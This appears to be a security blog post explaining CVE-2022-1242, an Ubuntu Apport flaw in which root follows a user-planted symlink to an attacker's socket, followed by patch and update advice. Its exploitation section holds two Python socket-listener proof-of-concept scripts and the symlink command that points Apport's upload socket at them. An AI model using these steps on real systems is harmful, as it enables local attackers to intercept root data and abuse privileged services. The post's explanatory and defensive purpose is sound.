Security flaws in system utilities can often be tricky and have surprising consequences. CVE-2022-1242 is one such issue, affecting the popular Ubuntu crash reporting tool known as "Apport." In this post, we’ll break down what CVE-2022-1242 is, how it could be abused, what the exploit might look like, and how you can protect your Linux system. We’ll use simple language and code snippets to explain everything clearly.

What is Apport?

Apport is Ubuntu’s standard crash handler. Whenever a program crashes, Apport gets involved: It collects debugging information as the root user, then can send these reports to Ubuntu’s developers. Since Apport works with system crashes, it runs with elevated privileges and access to sensitive data.

What’s CVE-2022-1242 All About?

CVE-2022-1242 is a vulnerability found in Apport where it can be tricked (by a local attacker) into connecting to any socket as the root user, just by controlling certain filenames or symlinks. This can let a local attacker interact with system services or sockets to which only root should have access—potentially leading to privilege escalation or information leaks.

References

- Ubuntu Security Notice: https://ubuntu.com/security/notices/USN-5375-1
- Launchpad bug report: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1966847

The Core Problem

Normally, Apport creates and handles .upload and .upload_socket files in a directory like /var/crash/. When users submit crash reports, Apport will connect to the given socket to upload the crash information.

The issue: Apport didn’t properly check whether these socket files are new and safe, or if they’ve been tampered with. If a low-privileged user creates a malicious symlink or socket with a certain name in /var/crash/, Apport (running as root) could be tricked into connecting to an attacker-controlled socket.

This could let an attacker get Apport (as root) to connect to any arbitrary socket—possibly letting them impersonate system services, leak information, or even get further root access.

Exploiting CVE-2022-1242: Step-by-Step

Let’s walk through what a simple exploitation might look like.

# attacker_socket.py
import socket
import os

# Create a socket file in /tmp
SOCK_PATH = '/tmp/attacker_socket'
if os.path.exists(SOCK_PATH):
    os.unlink(SOCK_PATH)

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind(SOCK_PATH)
server.listen(1)
print(f"[*] Waiting for Apport to connect as root on {SOCK_PATH}...")

conn, _ = server.accept()
print("[*] Connected! Reading data from Apport as root...")
data = conn.recv(4096)
print(data.decode())
conn.close()

Suppose a crash file appears in /var/crash/hello.crash. Apport will look for /var/crash/hello.upload_socket when uploading.

So the attacker does

ln -sf /tmp/attacker_socket /var/crash/hello.upload_socket

3. Apport Runs as Root and Connects to the Malicious Socket

When Apport attempts to process/upload that crash file, it will, as root, follow the symlink and connect directly to the attacker’s socket! The attacker can now read or interact with whatever Apport sends as root.

Potential impacts

- Root Data Leak: If Apport sends any sensitive data (debugging reports, memory dumps), this is now readable by the attacker.
- Root Command Execution: With carefully crafted interactions, a determined attacker might even be able to manipulate Apport into running code. (This depends on Apport’s protocol.)
- System Service Abuse: The attacker could relay the connection and try to impersonate critical root-only system sockets.

Here’s a slimmed-down Proof-of-Concept demonstrating data read from root-Apport

# Save as my_poc.py, run with 'python3 my_poc.py' as attacker
import socket, os

SOCK_PATH = "/tmp/pwnsocket"
if os.path.exists(SOCK_PATH):
    os.unlink(SOCK_PATH)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(SOCK_PATH)
s.listen(1)
print("Waiting for Apport (as root) to connect...")

# In another terminal as sudo, imitate Apport connecting to your socket:
# python3 -c "import socket; s=socket.socket(socket.AF_UNIX); s.connect('/tmp/pwnsocket'); s.send(b'root owned\n')"

conn, addr = s.accept()
data = conn.recv(1024)
print("Received from root:", data.decode())
conn.close()

In a vulnerable Apport scenario, you’d replace the sudo test with the actual Apport process handling your crash file and symlink.

How Was This Fixed?

Ubuntu patched Apport to make sure it checks the owner and permissions of upload sockets before connecting. Now, if a non-root user tries to sneak in a socket or symlink, Apport refuses to connect.

Fixed package versions, details:

https://ubuntu.com/security/notices/USN-5375-1

How To Protect Yourself

Update Your System!

If you’re using Ubuntu or a Linux distro that installs Apport, make sure to update your packages

sudo apt update
sudo apt upgrade

Check for old symlinks:
If you run a multi-user system, check /var/crash/ and ensure there are no leftover symlinks or strange socket files.

Final Thoughts

Seemingly small bugs in tools like Apport can allow attackers to get a direct line to root processes, with all the risks that entails. CVE-2022-1242 is a reminder why file permissions, proper ownership checks, and careful handling of sockets matter—especially when root is involved.

Learn more

- Ubuntu’s Apport security advisory (USN-5375-1)
- Launchpad Bug #1966847

Stay secure—keep your systems updated and always be careful with who can create what files in root-owned folders!

Timeline

Published on: 06/03/2024 19:15:09 UTC
Last modified on: 03/27/2025 20:15:16 UTC